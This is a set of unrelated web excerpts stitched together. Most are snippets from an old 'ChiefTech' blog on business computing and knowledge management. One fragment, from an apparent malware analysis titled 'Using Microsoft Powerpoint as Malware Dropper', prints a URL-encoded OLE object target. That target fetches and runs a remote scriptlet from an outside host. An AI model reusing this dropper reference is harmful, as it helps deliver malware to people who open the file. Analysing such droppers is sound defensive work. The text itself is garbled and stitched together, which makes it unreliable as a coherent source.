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This is the old ChiefTech blog.: The Circle of Computing Life

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Sunday, 1 July 2007 The Circle of Computing Life I came across a great book a few weekends ago, called A Computer Called LEO , that tells the story of the first computer to be used by business. The first LEO or ""Lyons Electronic Office" consisted of: " 5,936 valves, plus another 300-400 in auxiliary equipment.

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Using Microsoft Powerpoint as Malware Dropper

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An external OLEobject (compatibility 2006) was available on that value: Target=”%73%63%72%49%50%54:%68%74%74%70%73%3A%2F%2F%61%2E%64oko%2Emo%65%2Fwr%61%65o%70%2E%73%63%74″ . I am a computer security scientist with an intensive hacking background. Stage 1: Microsoft PowerPoint Dropping Website.

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This is the old ChiefTech blog.: Explosion of electronic touch points

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Wednesday, 31 January 2007 Explosion of electronic touch points I received an email today from someone and, as you typically find in a business email, the senders signature block included their contact details. blog I work at Headshift , a social media and social computing consultancy, as a Senior Business & Technical Consultant.

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This is the old ChiefTech blog.: Why we need knowledge management.

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Owing to a fault in the electronic information system, many drivers are sent through the Hampshire hamlet only to find the lane narrows to 6ft and they get stuck." blog I work at Headshift , a social media and social computing consultancy, as a Senior Business & Technical Consultant.

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This is the old ChiefTech blog.: Integrating Enterprise 2.0 into your corporate Intranet - 20th September

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You might like to suggest to Key Forums that an electronic copy of the conference brochure (listing speakers and topics) on their website would have been a good idea instead of the e-mail link to request a conference brochure! You might want to consider enabling it via slideshare. Cheers, Craig Thomler 7:38 PM Brad said.

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This is the old ChiefTech blog.: Social Data Analysis. But what about compliance?

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Unfortunately for an enterprise thinking of using social data analysis tools I can see that this may create a compliance and records management problem, unless the current generation of electronic document and records management systems evolve to automatically capture both permanent structured data and transient unstructured in context together.

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This is the old ChiefTech blog.: Connections + Information = KM?

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In the actual paper [PDF}, the authors also put forward the suggestion that: " firms that primarily compete on quality can benefit most from emphasizing personal advice usage (and perhaps downplaying electronic document usage), while the opposite holds for firms relying on efficiency. "

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